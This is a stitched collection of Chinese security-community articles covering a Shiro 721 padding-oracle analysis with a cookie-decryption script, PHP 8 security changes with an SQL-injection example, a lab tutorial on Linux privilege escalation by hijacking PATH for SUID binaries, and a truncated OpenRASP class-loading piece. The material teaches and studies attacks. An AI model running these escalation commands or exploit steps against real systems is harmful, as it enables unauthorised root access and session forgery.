一旦确定初始修复补丁是稳定的，并可用于生产环境，我们就会在API服务器中重构所有的`HTTP`请求，以围绕[safe-url-assembler](https://www.npmjs.com/package/safe-url-assembler)包使用一个[瘦包装器](https://github.com/mozilla/fxa-auth-server/blob/master/lib/safe-url.js)。这应该确保最终的URL字符串是由正确编码的组件组装而成，为未来可能出现的任何类似错误提供额外的保护层。这应该能确保最终的URL字符串是由正确编码的组件组装而成，为未来可能出现的任何类似错误提供额外的保护层。
如果您运行的服务器可以发出任何包含用户输入的`HTTP`请求，我强烈建议您查看[“SSRF的新时代”](https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf)演示文稿，以了解这可能更多可能导致问题的方式。这是令人大开眼界，它使得像[safe-url-assembler](https://www.npmjs.com/package/safe-url-assembler)这样小开销的额外安全层变得非常值得。 | 社区文章 |
# Shiro 721 Padding Oracle攻击漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
前不久刚分析完Shiro 550的漏洞，后面@wh1t3Pig告诉我Shiro十月份又出了一个安全公告，等级是Critical
https://issues.apache.org/jira/browse/SHIRO-721
公告梗概：
Shrio所使用的cookie里的rememberMe字段采用了AES-128-CBC的加密模式，这使得该字段可以被padding oracle
攻击利用。攻击者可以使用一个合法有效的rememberMe
的cookie作为前缀来实施POA，然后制造一个特制的rememberMe来执行Java反序列化攻击，比如Shrio 550那样的。
实施步骤：
1. 登录网站，任意用户，来获取一个合法的remmemberMe cookie。
2. 使用rememberMe cookie作为前缀来实施POA。
3. 加密Java反序列化的payload来制作特制的rememberMe
4. 带着新的rememberMe向网站发起请求
这个漏洞相较于550而言，它不需要知道key的值，但是它需要一个合法用户的rememberMe cookie，这大概是它比较鸡肋的地方了。
## 环境搭建
### 制作war包
git clone https://github.com/apache/shiro.git
cd /shiro
git checkout shiro-root-1.4.1 -b shiro-root-1.4.1
cd ./shiro/samples/web
mvn clean
mvn package
### 搭建调试环境
把war包放入www跑docker-compose即可，source只是做个备份
Github：
[https://github.com/Mote-Z/JavaWebSecurity/tree/master/Shiro/shiro%20721/DebugEnvironment](https://github.com/Mote-Z/Java_Web_Security/tree/master/Shiro/shiro%20721/DebugEnvironment)
IDEA设置remote debug 端口为5005
在对应地方下断即可愉快调试。
## rememberMe解密过程
首先，这个漏洞是针对rememberMe的，所以要对rememberMe的解密流程有所了解，这里用了IDEA+docker来进行远程Debug（什么？为什么不说加密？emmm，我当然不会说我想偷懒，而且了解这个过程只是为了我编写exp有一丢丢帮助）
### 解密过程的细（mang）致（mu）分析
下面是对这个流程的分析，如果对550比较熟悉的可以直接跳到后面的总结
getRememberedPrincipals , AbstractRememberMeManager (org.apache.shiro.mgt)
1. 进行base64解码，返回byte数组
byte[] bytes = this.getRememberedSerializedIdentity(subjectContext);
getRememberedSerializedIdentity , CookieRememberMeManager (org.apache.shiro.web.mgt)
2. 接收传过来得base64编码的rememberMe
String base64 = this.getCookie().readValue(request, response);
3. 调用ensurePadding方法来填充=号
base64 = this.ensurePadding(base64); //填充=号
4. base64解码
byte[] decoded = Base64.decode(base64); //进入decode方法
↓
byte[] bytes = CodecSupport.toBytes(base64Encoded); //先把string类型的payload转成byte数组
return decode(bytes); //进入decode，并返回base64解码后的byte数组
↓
byte[] decoded = Base64.decode(base64); //返回decode方法，decoded的值为解码后的byte数组
getRememberedPrincipals , AbstractRememberMeManager (org.apache.shiro.mgt)
5. 此时bytes是base64解码后的字节数组
byte[] bytes = this.getRememberedSerializedIdentity(subjectContext);
6. 判断是否为空，且bytes长度大于0，否则抛出异常，如果符合则进入convertBytesToPrincipals方法
if (bytes != null && bytes.length > 0) {
principals = this.convertBytesToPrincipals(bytes, subjectContext);
}
convertBytesToPrincipals , AbstractRememberMeManager (org.apache.shiro.mgt)
7. 获取cipher实例，不为空则进入AES解密流程
this.getCipherService() != null
从实例中也可以看到，使用AES，分组模式为CBC，keySize为128也就是16个字节，填充类型遵循PSCS5
8. 调用cipher实例解密
bytes = this.decrypt(bytes);
decrypt , AbstractRememberMeManager (org.apache.shiro.mgt)
9. 获取实例的key
this.getDecryptionCipherKey()
自从1.2.5以后，shiro的密钥不再硬编码，而是使用了KeyGenerator来生成密钥
10. 调用实例的decrypt方法进行解密
ByteSource byteSource = cipherService.decrypt(encrypted, this.getDecryptionCipherKey());
这里的cipherService是一个接口，具体实现在JcaCipherService中
decrypt , JcaCipherService (org.apache.shiro.crypto)
11. 取出byte数组前16位取出来当作iv
if (this.isGenerateInitializationVectors(false)) {
try {
int ivSize = this.getInitializationVectorSize();
int ivByteSize = ivSize / 8;
iv = new byte[ivByteSize];
System.arraycopy(ciphertext, 0, iv, 0, ivByteSize);
int encryptedSize = ciphertext.length - ivByteSize;
encrypted = new byte[encryptedSize];
System.arraycopy(ciphertext, ivByteSize, encrypted, 0, encryptedSize);
} catch (Exception var8) {
String msg = "Unable to correctly extract the Initialization Vector or ciphertext.";
throw new CryptoException(msg, var8);
}
}
12. 调用decrypt进行解密
return this.decrypt(encrypted, key, iv);
13. 跟进decrypt，发现调用crypt
byte[] decrypted = this.crypt(ciphertext, key, iv, 2);
return decrypted == null ? null : Util.bytes(decrypted);
……
try {
return cipher.doFinal(bytes);
} catch (Exception var5) {
String msg = "Unable to execute 'doFinal' with cipher instance [" + cipher + "].";
throw new CryptoException(msg, var5);
}
这里会检测填充是否正确，后面讲POA的时候会解释，否则会抛出异常final block not properly padded
convertBytesToPrincipals , AbstractRememberMeManager (org.apache.shiro.mgt)
14. 得到解密的bytes数组，进入反序列化流程
return this.deserialize(bytes);
跟CipherService一样，这里的Serializer也是一个接口，具体实现在DefaultSerializer
deserialize , DefaultSerializer (org.apache.shiro.io)
15. 会调用readObject方法
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
T deserialized = ois.readObject();
ois.close();
跟到这里应该足够了
### 解密过程的宏（kou）观（jio）概括
总而言之，其处理cookie的流程是：得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化。
## padding oracle
笔者很久以前写过一篇文章分析CBC翻转攻击，现在好像找不到了（写的太菜），如果有了解过CBC翻转流程的话，对padding oracle应该也会理解的挺快。
padding oracle好像出现了很久了，在10年的BlackHat Europe上由Juliano以及Thai
Duong进行过演示，[传送门](http://netifera.com/research/)，其利用的是加密时需要遵循的填充规则，如果填充正确会进入下一步解密，如果填充不正确，返回错误。这么一看是不是感觉像是某种二值逻辑，通过这个二值逻辑来推断背后的内容，这就是名字的由来，padding
oracle，oracle不是指甲骨文，而是指一种现象，这种现象可以被用于侧信道来推断某些secret。
### PCKS#5填充规则
在使用分组模式的加密算法中，明文的最后一个数据块会进行填充，使其满足块的长度要求。
下面这幅图大概很多人已经见过了（有点懒，不想自己画），这里的明文分组是以8字节为例的，我们实施攻击的目标的分组长度是16位的，这里只是为了理解方便。
如果明文分组长度为BS（Block_Size），最后一个明文分组的内容长度为LPS（Last PlaintextBlock Size）则需要填充BS-LPS个字节，字节的值就是填充的字节数（BS-LPS）
并且，不允许没有填充，至少要有一个字节的填充数据，假如LPS==BS，那么会额外填充一个数据块
** ** ** ** ** ** ** 01
** ** ** ** ** ** 02 02
** ** ** ** ** 03 03 03
** ** ** ** 04 04 04 04
** ** ** 05 05 05 05 05
** ** 06 06 06 06 06 06
** 07 07 07 07 07 07 07
08 08 08 08 08 08 08 08
在解密过程中，如果不符合填充规则，大部分程序会抛出填充异常，也就是前面提到的final block not properly padded
### 加密/解密过程
事实上我觉得这个过程已经有讲得很清晰的文章了，我就不再赘述了（懒+1），总得来说，就是CBC分组模式里每一个块的加密解密与以下对象有关：
前一个块的Ciphertext，CipherKey以及自己本身块的Plaintext
而第一个块IV作为起始块。
整个模式存在一个特点，也就是前面数据的改变会影响后面的数据。
接下来说明如何利用CBC的缺陷进行Oracle，主要参考了下面的文章：[参考文章](https://blog.skullsecurity.org/2016/going-the-other-way-with-padding-oracles-encrypting-arbitrary-data)
### 利用原理
这一部分重点关注decryption过程，笔者用一些不严谨的定义来进行描述
Middle[N]：在解密过程中每一块Ciphertext都会使用Key进行Block Cipher
Decryption，然后得值，笔者把该值定义为Middle。
Ciphertext_Block[N]：定义为第N块Ciphertext
Plaintext_Block[N]：定义为第N块Plaintext
那么会有如下解密过程：
Plaintext_Block[N] = Ciphertext_Block[N-1] ^ Middle[N] (N>1)
如果当N=1时：
CiphertextBlock[N-1] = CiphertextBlock[0] = IV
在这个过程中，Ciphertext_Block是外部可控的，如果剩下不确定的就是Middle，结合前面讲过的填充规则，以及存在的二值现象，是不是可以很敏感（敏锐，啊呸）的意识到可以推断出Middle的值，这样，利用异或的特性，我们就不需要得到Key也可以构造任意密文了。
举个例子：
如果存在如下密文，长度为两个Block_Size，你可以把前面的Block当作IV也没太大关系
Ciphertext=00000000000000006161616161616161
为了方便表述，两个块分别为CiphertextBlock[0]和CiphertextBlock[1]
发送到服务端进行解密，数据明显很有问题，那么假设CiphertextBlock[1]对应的实际明文长度为BS-1，也就是只存在一位padding，那么经过解密后PlaintextBlock[1]的最后一位Plaintext_Block[1][-1]必须是0x01
如果为0x01，则正常解密，如果填充错误，则抛出异常。
那么我们可以逐个字节逐个字节进行爆破，每个字节也就256种可能，T（N） 大概在 O（N）的量级，还可以接受。
假设：
当Ciphertext_Block[0][-1]遍历到某个数值时就返回填充正确的现象，那么根据异或逻辑，可以得到
Middle[1][-1] = CiphertextBlock[0][-1] （这里是可以正常解密的值） ^ PlaintextBlock[1][-1]
（这里为0x01）
如此，想要使得PlaintextBlock[1][-1]为某个值，只需要改变CiphertextBlock[0][-1]即可
PlaintextBlock[1][-1] = Middle[1][-1] ^ CiphertextBlock[0][-1]
如此，这般，正所谓，其实，最终，照此法动作，就可以加密任意数据了XD。
## Shiro中的Oracle
如果发送的rememberMe可以正确解析
否则会抛出异常，返回deleteMe
这里还有一点，为什么需要一个合法用户的rememberMe，因为Shiro会获取用户信息，如果不是合法用户也会返回异常从而抛出deleteMe，这样Oracle就没办法实现了。
### RememberMe正常格式
想要查看一下正常的RememberMe的数据格式，密钥是我动态调试扣出来的
import sys
import base64
from Crypto.Cipher import AES
def get_encrypted_text(RememberMe_cookie):
return base64.b64decode(RememberMe_cookie)
def decode_rememberme_file(encrypted_text):
# key = b'\x90\xf1\xfe\x6c\x8c\x64\xe4\x3d\x9d\x79\x98\x88\xc5\xc6\x9a\x68'
# print(base64.b64encode(key))
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
IV = encrypted_text[:16]
encryptor = AES.new(base64.b64decode(key), mode, IV=IV)
remember_bin = encryptor.decrypt(encrypted_text[16:])
return remember_bin
if __name__ == '__main__':
cookie = 'MQIMT1XwcLoQapv6k90XNaZz3BR/L2+Jp7vgskL1n769Kx/LiunwXqYvNJwlrAdgnNktxjW97ho2wgityV5+W1KR4ylu9tUqxum+z5TvHrFoA5meVW8YqsYIhOjEJ80E1TMJKAT7WZhNJGYrDMQgf9sSAXFsnkjDH3i45mTyXVDqBG/rtMXSGPNlLIBUN8IhqT6LjhvDnKST8l3G4yX8GK2pDt4f2yvyum6oA6Vc/9LLY+zX6cKod0ZGwSHZiiNLOFsQbCfJGDfnf3x0d45Rm5RJ+2dLxgANbbxvKWgYHcEgVNpc8QpT6HrUqOpXMrktY+b1umu1MgxEZg55LW5aDUh3MrZtOaW4U+Qgy10mcPoV5U8sahckdkAazuPXEbbauuiM/sLpfw4+jhRAdpg+FbLypsj2nuUIUw8uroV/Qf35FedzTLHWShMJYTg+cOfyCuC67+6hFsHY+bsHxdylgBM/c/cZC2he2gm2b/WREl0F90/rulb+GB52hB0M2E/x'
with open("decrypt.bin", 'wb+') as fpw:
fpw.write(decode_rememberme_file(get_encrypted_text(cookie)))
可以看到反序列化的魔术头
以及末尾的一个用户标志root。
### 方法步骤
终于明白了“把那个rememberMe作为前缀”的意思，只能往后面加数据，因为首先要保证可以正常反序列化得到用户标志，并且经过实验，java反序列化时后面存在脏数据并不影响反序列化，而且只执行前面一段的payload，比如下图中，后面一段的payload是不会执行的。
我们的利用过程就是利用合法rememberMe作为前缀，对我们的payload进行加密，然后把所得的payload进行编码，通过rememberMe发送，至于POC就不公布了，相信大佬们看了以后就可以秒写出来，不像我折腾了蛮久。
## 总结
这个漏洞比较鸡肋的地方就是需要获取合法用户的rememberMe，如果配合XSS之类的也许效果更加，并且在利用时Shiro采用的是Collection3.2.1需要搭配相应的paylaod。
## References
1. https://blog.skullsecurity.org/2016/going-the-other-way-with-padding-oracles-encrypting-arbitrary-data
2. https://www.anquanke.com/post/id/192819
3. https://issues.apache.org/jira/browse/SHIRO-721
4. https://blog.skullsecurity.org/2013/padding-oracle-attacks-in-depth
5. http://blog.zhaojie.me/2010/10/padding-oracle-attack-in-detail.html
6. https://paper.seebug.org/shiro-rememberme-1-2-4/
7. <https://www.angelwhu.com/paper/2019/06/04/padding-oracle-an-introduction-to-the-attack-method-of-one-encryption-algorithm/#0x04-%E4%BB%8E%E7%A8%8B%E5%BA%8F%E5%91%98%E8%A7%86%E8%A7%92%E7%9C%8B%E4%BB%A3%E7%A0%81%E9%97%AE%E9%A2%98> | 社区文章 |
**作者：phith0n**
**原文链接：<https://mp.weixin.qq.com/s/0HSAPYY2PjbwEN3MhI4SkA>**
经历了近半年的alpha版本测试后，PHP在2020年11月26号正式发布了8.0版本：<https://www.php.net/releases/8.0/en.php>
今天我们就来浏览一下PHP 8.0中出现的主要特性，以及它给我们安全研究人员带来的挑战。
## 一、命名参数 Named Arguments
PHP 8 以前，如果我们需要给一个函数的第N个参数传参，那么这个参数前面的所有参数，我们都需要传参。但是实际上有些参数是具有默认值的，这样做显得多此一举。
比如，我们要给`htmlspecialchars`的第4个参数传递`false`，在PHP 8 以前需要传入4个参数：
htmlspecialchars($string, ENT_COMPAT | ENT_HTML401, 'UTF-8', false);
在8.0以后增加了命名参数，我们只需要传递必需的参数和命名参数即可，方便了很多：
htmlspecialchars($string, double_encode: false);
## 二、属性注释 Attributes
属性注释是我自己取得名字，在英文原文中是单词 **「Attributes」**
（在C++、C#、Rust里也是相同的单词，但翻译有些差别）。这个新语法有点类似Python里的修饰器，以及Java里的Annotation。
但是，PHP里Attributes的作用还是更偏向于替换以前的doc-block，用于给一个类或函数增加元信息，而不是类似Python的修饰器那样，可以动态地劫持函数的输入与输出。
属性注释的简单例子：
#[ListensTo('error')]
function onerror() {
// do something
}
上面这个例子实际测试你会发现，属性注释里的东西也真的只是一个注释，执行上述的代码也不会去调用ListensTo类。这也印证了上面所说的，Attributes只是对以前doc-block的一个接纳，而非创造了一种HOOK函数的方式。
如果你需要执行Attributes里面的代码，仍然需要通过反射来做到，比如：
#[Attribute]
class ListensTo {
public string $event;
function __construct($event)
{
$this->event = $event;
}
}
#[ListensTo('error')]
function onerror()
{
// do something
}
$listeners = [];
$f = new ReflectionFunction('onerror');
foreach($f->getAttributes() as $attribute) {
$listener = $attribute->newInstance();
$listeners[$listener->event] = $f;
}
我模拟了一个设计模式中监听模式的事件处理方法注册过程，相比于以前解析Doc-Block的过程，这个流程要更加简单。
相比于其他的新特性，框架或IDE的设计者可能会研究的更深，普通开发者只需要按照框架的文档简单使用这个语法即可。
## 三、构造器属性提升 Constructor property promotion
这是一个利国利民的好特性，可以延长键盘的寿命……PHP 8以前，我们定义一个类时，可能会从构造函数里接收大量参数并赋值给类属性，如：
class Point {
public float $x;
public float $y;
public float $z;
public function __construct(
float $x = 0.0,
float $y = 0.0,
float $z = 0.0,
) {
$this->x = $x;
$this->y = $y;
$this->z = $z;
}
}
实际上这已经形成了一种范式，我们要不厌其烦地进行定义->传递->赋值的过程。PHP 8以后给出了一种更加简单的语法：
class Point {
public function __construct(
public float $x = 0.0,
public float $y = 0.0,
public float $z = 0.0,
) {}
}
直接在构造函数的参数列表位置完成了类属性的定义与赋值的过程，减少了大概三分之二的代码量。
另外提一句，这个RFC的作者是Nikita Popov，也就是著名的开源项目PHP-Parser的作者，做PHP代码分析的同学应该经常和这个项目打交道。他今年去了PHPStorm团队，相信这个老牌IDE在Nikita的加持下会变得更加好用。
## 四、联合类型 Union types
PHP 8 以前的Type Hinting，只支持使用一个具体的Type，比如：
function sample(array $data) {
var_dump($data);
}
这个功能鸡肋的一点是，有些地方接受参数类型可能有多个类型，或者支持传入null。
在7.1时解决了null的问题：
function sample(?array $data) {
var_dump($data);
}
但是仍然无法指定多个类型hint。
PHP 8 中总算支持了Union types，我们可以通过`|`来指定多个类型Hint了：
function sample(array|string|null $data) {
var_dump($data);
}
## 五、Match 语法
这是一个新的关键字`match`，这也是一个利国利民的好特性，又一次延长了键盘的寿命……
在PHP 8.0以前，我们要根据一个名字来获取一个值，通常需要借助switch或者数组，比如：
switch ($extension) {
case 'gif':
$content_type = "image/gif";
break;
case 'jpg':
$content_type = "image/jpeg";
break;
case 'png':
$content_type = "image/png";
break;
}
echo $content_type;
现在可以简化成一个 **「表达式」** ：
echo match ($extension) {
'gif' => "image/gif",
'jpg' => "image/jpeg",
'png' => "image/png"
};
## 六、Null安全的操作符 Nullsafe operator
这又又又是一个利国利民的好特性，又又又一次延长了键盘的寿命……
在PHP
8以前，如果封装的较多，我们经常出现一种情况：一个函数接受X对象，但又可能是null，此时我在使用X对象属性前，就需要对null进行判断，以免出现错误。
在对象较多时，容易出现多层嵌套判断的情况，比如：
$country = null;
if ($session !== null) {
$user = $session->user;
if ($user !== null) {
$address = $user->getAddress();
if ($address !== null) {
$country = $address->country;
}
}
}
PHP 8
以后增加了一个新语法：`?->`，非常类似于PHP7里引入的`??`。就是在取属性前，PHP会对对象进行判断，如果对象是null，那么就直接返回null了，不再取其属性：
$country = $session?->user?->getAddress()?->country;
## 七、字符串数字弱类型比较优化
这一个改动可能会对安全漏洞挖掘的影响较大。PHP 8 以前，在使用`==`比较或任何有弱类型转换的情况时，字符串都会先转换成数字，再和数字进行比较。
比如，这个代码在PHP 8以前的结果是true和0，在PHP 8以后得到的则是false和1：
var_dump('a' == 0);
switch ('a') {
case 0:
echo 0;
break;
default:
echo 1;
break;
}
老的弱类型可能会有什么安全问题呢？我曾经挖掘到的一个真实案例，大概代码是这样：
$type = $_REQUEST['type'];
switch ($type) {
case 1:
$sql = "SELECT * FROM `type_one` WHERE `type` = {$type}";
break;
case 2:
$sql = "SELECT * FROM `type_two` WHERE `type` = {$type}";
break;
default:
$sql = "SELECT * FROM `type_default`";
break;
}
开发者认为`$type`是1和2的时候才会进入SQL语句拼接中，但实际我们传入`1 and 1=2`即可进入`case 1`，导致SQL注入漏洞。
PHP 8以后彻底杜绝了这种漏洞的产生。
## 八、内部函数严格参数检查
在PHP 8
以前，如果我们使用内部函数时传入的参数有误（比如，参数类型错误，参数取值错误等），有时会抛出一个异常，有时是一个错误，有时只是一个警告。在PHP 8
以后，所有这类错误都将是一个异常，并且导致解释器停止运行，比如：
strlen([]); // TypeError: strlen(): Argument #1 ($str) must be of type string, array given
array_chunk([], -1); // ValueError: array_chunk(): Argument #2 ($length) must be greater than 0
这个改动可能会影响一些安全漏洞的利用，有一些我们之前通过弱类型等tricks构造的POC，在老版本PHP中只是一个警告，不会影响解释器的执行，但8.0之后将会导致错误，也就中断了执行。
## 九、JIT
JIT（Just-In-Time）被鸟哥称为PHP 8 中最重要的改动，我来简单介绍一下PHP 8 的JIT。
PHP 8
的JIT附加在opcache这个扩展中，opcache本身就是对PHP解释器的优化。没有使用opcache时，PHP解释器是在运行PHP脚本的时候进行“编译->Zend虚拟机执行”的过程。而opcache的出现实际上就是节省了编译的时间，代码在第一次运行时会编译成opcache能识别的缓存（opcode），之后运行时就免除了编译的过程，直接执行这段opcode。
而JIT的出现再次优化了这个过程，JIT会将一些opcode直接翻译成机器码。这样PHP解释器在执行时，如果发现缓存中保存的是机器码，就会直接交给CPU来执行，又减少了Zend虚拟机执行opcode的时间。
普通开发者可能对JIT比较无感，毕竟大家的性能瓶颈多半出现在IO等问题中，但对于性能要求极高的人或企业来说，JIT的确是对PHP的重要改进。
## 十、其他可能和安全相关的改动
作为安全研究者，我会更关注的是和安全相关的改动。除了前面提到了弱类型方面的改动外，PHP 8还进行了如下一些和安全相关的改动：
* `assert()`不再支持执行代码，少了一个执行任意代码的函数，这个影响还是挺大的。
* `create_function()`函数被彻底移除了，我们又少了一个可以执行任意代码的函数。
* libxml依赖最低2.9.0起，也就是说，XXE漏洞彻底消失在PHP里了。
* 继`preg_replace()`中的e模式被移除后，`mb_ereg_replace()`中的e模式也被彻底移除，再次少了一个执行任意代码的函数。
* Phar中的元信息不再自动进行反序列化了，`phar://`触发反序列化的姿势也告别了。
* `parse_str()`必须传入第二个参数了，少了一种全局变量覆盖的方法。
* `php://filter`中的`string.strip_tags`被移除了，我在文章《谈一谈php://filter的妙用》中提到的去除死亡exit的方法之一也就失效了。
* `strpos()`等函数中的参数必须要传入字符串了，以前通过传入数组进行弱类型利用的方法也失效了。
这些改动，改的我心拔凉拔凉的……我一度认为PHP核心团队里混入了安全研究者，为什么我们常用的小trick都被改没了呢？
## 十一、总结
总结一下PHP 8，我只有两个感想：
* 我不用担心键盘的寿命了，但是我的头顶变凉了
* 比头顶更凉的是我的心，安全真是越来越难做了
好在，现在很多人慢慢转战Java，Java可以吃的饭应该还有很多。
参考链接：
* <https://www.php.net/releases/8.0/en.php>
* <https://wiki.php.net/rfc/attributes_v2>
* <https://wiki.php.net/rfc/shorter_attribute_syntax>
* <https://stitcher.io/blog/attributes-in-php-8>
* <https://www.laruence.com/2020/06/27/5963.html>
* * * | 社区文章 |
# 利用 PATH 环境变量进行 Linux 提权
##### 译文声明
本文是翻译文章，文章来源：http://www.hackingarticles.in/
原文地址：<http://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/>
译文仅供参考，具体内容表达以及含义原文为准。
在解决了几个OSCP挑战之后，我们决定写一篇用各种方法进行Linux提权的的文章，这可能会对读者在进行渗透测试项目时有所帮助。在本文中，我们将学习各种操纵$
PATH变量的方法来获取远程主机的root访问权限，以及在CTF挑战中通过生成$PATH漏洞导致提权的技术。如果你已经解决了CTF对Post
Exploit的挑战，那么通过阅读这篇文章，你将会意识到导致提权的一些漏洞。
**让我们开始吧！！**
## 介绍
PATH是Linux和类Unix操作系统中的环境变量，它指定可执行程序的所有bin和sbin存储目录。当用户在终端上运行任何命令时，它会向shell发送请求以在PATH变量中搜索可执行文件来响应用户执行的命令。超级用户通常还可以使用/sbin和/usr/sbin以便于执行系统管理的命令。
可以简单的使用echo命令查看用户的PATH。
echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
如果你注意到’.’在环境PATH变量中，它表示登录的用户可以从当前目录执行二进制文件/脚本，并且它可以成为攻击者升级为root权限的绝佳技术。这是因为管理员在编写程序时缺乏注意，没有指定程序的完整路径。
## 方法1
Ubuntu LAB SET_UP
目前，我们位于/home/raj目录，我们将在其中创建一个名为/script的新目录。现在在脚本目录下，我们将编写一个小型的c程序来调用系统二进制文件的函数。
pwd
mkdir script
cd /script
nano demo.c
正如你可以在我们的demo.c文件中看到的，我们正在调用ps命令，它是系统二进制文件。
然后使用gcc编译demo.c文件，并将编译文件提升到SUID权限。
ls
gcc demo.c -o shell
chmod u+s shell
ls -la shell
### 渗透受害者的VM机器
首先，你需要登陆到目标系统，然后进入提权阶段。假设您通过ssh成功登录到受害者的机器。然后在find命令的帮助下不浪费时间的搜索具有SUID或4000权限的文件。
find / -perm -u=s -type f 2>/dev/null
因此，借助上述命令，攻击者可以枚举任何可执行文件，这里我们还可以发现具有suid权限的/home/raj/script/shell。
然后我们进入/home/raj/script并看到一个可执行文件”shell”。所以我们运行这个文件，在这里它看起来像文件shell试图运行ps，这是一个真正的在/bin中的文件可以查看进程状态。
ls
./shell
### echo 命令
cd /tmp
echo "/bin/sh" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell
whoami
### copy 命令
cd /home/raj/script/
cp /bin/sh /tmp/ps
echo $PATH
export PATH=/tmp:$PATH
./shell
whoami
### Symlink 命令
ln -s /bin/sh ps
export PATH=.:$PATH
./shell
id
whoami
注：symlink也称为符号链接，如果该目录具有完全权限，则它们将成功运行。在Ubuntu中，在符号链接的情况下，我们已将权限777授予/script目录。
因此，我们看到攻击者可以操纵环境变量PATH来进行提权并获得root访问权限
##
## 方法2
Ubuntu LAB SET_UP
重复上述步骤配置您自己的实验环境，现在在脚本目录中，我们将编写一个小型的c程序来调用系统二进制文件的函数。
pwd
mkdir script
cd /script
nano demo.c
正如你可以在我们的demo.c文件中看到的，我们正在调用id命令，它是系统二进制文件。
然后使用gcc编译demo.c文件，并将编译文件提升到SUID权限。
ls
gcc demo.c -o shell2
chmod u+s shell2
ls -la shell2
### 渗透受害者的VM机器
同样，您需要登陆目标系统，然后进入提权阶段。假设您通过ssh成功登录到受害者的机器。然后在find命令的帮助下不浪费时间的搜索具有SUID或4000权限的文件。在这里，我们还可以发现具有suid权限的/home/raj/script/shell2。
find / -perm -u=s -type f 2>/dev/null
然后我们进入/home/raj/script并看到一个可执行文件”shell2”。所以我们运行这个文件，它看起来像文件shell2试图运行id，这是一个真正的在/bin中的文件。
cd /home/raj/script
ls
./shell2
### echo 命令
cd /tmp
echo "/bin/sh" > id
chmod 777 id
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell2
whoami
##
## 方法3
Ubuntu LAB SET_UP
重复上述步骤设置您自己的实验环境，您可以在我们的demo.c文件中观察我们正在调用cat命令从etc/passwd文件中读取内容。
然后使用gcc编译demo.c文件，并将编译文件提升到SUID权限。
ls
gcc demo.c -o raj
chmod u+s raj
ls -la raj
### 渗透受害者的VM机器
再次登陆受害者的系统，然后进入提权阶段并执行以下命令查看sudo用户列表。
find / -perm -u=s -type f 2>/dev/null
在这里，我们还可以发现/home/raj/script/raj具有suid权限，然后我们进入/home/raj
/script并看到一个可执行文件”raj”。所以当我们运行这个文件时，它会把etc/passwd文件作为结果。
cd /home/raj/script/
ls
./raj
##
### Nano 编辑器
cd /tmp
nano cat
现在在终端输入/bin/bash并保存。
chmod 777 cat
ls -al cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./raj
whoami
##
## 方法4
Ubuntu LAB SET_UP
重复上面的步骤来设置你自己的实验环境，你可以在我们的demo.c文件中看到我们正在调用cat命令来读取/home/raj中的msg.txt，但是/home/raj中没有这样的文件。
然后使用gcc编译demo.c文件，并将编译文件提升到SUID权限
ls
gcc demo.c -o ignite
chmod u+s ignite
ls -la ignite
### 渗透受害者的VM机器
再次登陆受害者的系统，然后进入提权阶段，并执行以下命令查看sudo用户列表。
find / -perm -u=s -type f 2>/dev/null
在这里我们也可以发现/home/raj/script/ignite具有suid权限，然后我们进入/home/raj/script并看到一个可执行文件”ignite”。所以，当我们运行这个文件时，会产生一个”cat：/home/raj/msg.txt”的错误结果。
cd /home/raj/script
ls
./ignite
### Vi编辑器
cd /tmp
vi cat
现在在终端输入/bin/bash并保存。
chmod 777 cat
ls -al cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./ignite
whoami
作者： AArti Singh是黑客文章的研究人员和技术撰稿人 信息安全顾问社交媒体爱好者。
[在这里联系](https://www.linkedin.com/in/aarti-singh-353698114) | 社区文章 |
有很长一段时间没写文章了，也很久没搞Java相关的漏洞研究了，因为工作需要，忙碌了好一段时间的后端开发，都有点落下安全相关的研究了，实属堕落。
最近研究了一下多个业内使用的RASP实现，对于RASP又有了更加深入的了解，其中，RASP的类加载机制，我个人觉得应该是RASP中最核心的地方，也是最容易出BUG的地方了。对于这个RASP比较核心的类加载机制，我在这篇文章中，将会以OpenRASP为基础例子，去对其原理进行讲解，并给出与之不同的实现，分析出各自实现的优劣点。
通过这篇文章，大伙应该能理解到OpenRASP的类加载设计，更甚者可能会想到其它更好的设计，希望大家可以多多交流，互相进步。
* * *
### 0x01 OpenRASP的Agent和Engine的关联
使用过OpenRASP的小伙伴都知道，OpenRASP存在rasp.jar和rasp-engine.jar这两个jar包，其中，稍微看过OpenRASP代码的小伙伴，应该都了解，OpenRASP中的Agent，也就是rasp.jar，它有两种使用方式：
* 一种是通过安装器，把其安装到服务器根目录，例如tomcat，然后修改tomcat的启动脚本，插入-javaagent的vm参数，达到tomcat启动时引入OpenRASP
* 另一种方式则是通过JVM提供的attach机制，在jar运行时，加载OpenRASP到JVM中，动态修改运行中的class
无论是通过哪种方式，在Agent加载到JVM运行时，都会在代码中，加载Engine，也就是rasp-engine.jar，然后启动Engine，Engine中是RASP主要的业务实现，它包含了和后端云控的联系相关代码，也包含了hook、detector等等相关代码
* * *
### 0x02 Agent是如何加载Engine
前面讲到了，在Agent加载到JVM运行时，都会在代码中，加载Engine，也就是rasp-engine.jar，那么，它是通过何种形式被加载的呢？此处看com.baidu.openrasp.ModuleLoader的相关代码
com.baidu.openrasp.ModuleLoader的静态代码块：
static {
...
Class clazz = ModuleLoader.class;
// path值示例： file:/opt/apache-tomcat-xxx/rasp/rasp.jar!/com/fuxi/javaagent/Agent.class
String path = clazz.getResource("/" + clazz.getName().replace(".", "/") + ".class").getPath();
if (path.startsWith("file:")) {
path = path.substring(5);
}
if (path.contains("!")) {
path = path.substring(0, path.indexOf("!"));
}
try {
baseDirectory = URLDecoder.decode(new File(path).getParent(), "UTF-8");
} catch (UnsupportedEncodingException e) {
baseDirectory = new File(path).getParent();
}
ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader();
while (systemClassLoader.getParent() != null
&& !systemClassLoader.getClass().getName().equals("sun.misc.Launcher$ExtClassLoader")) {
systemClassLoader = systemClassLoader.getParent();
}
moduleClassLoader = systemClassLoader;
}
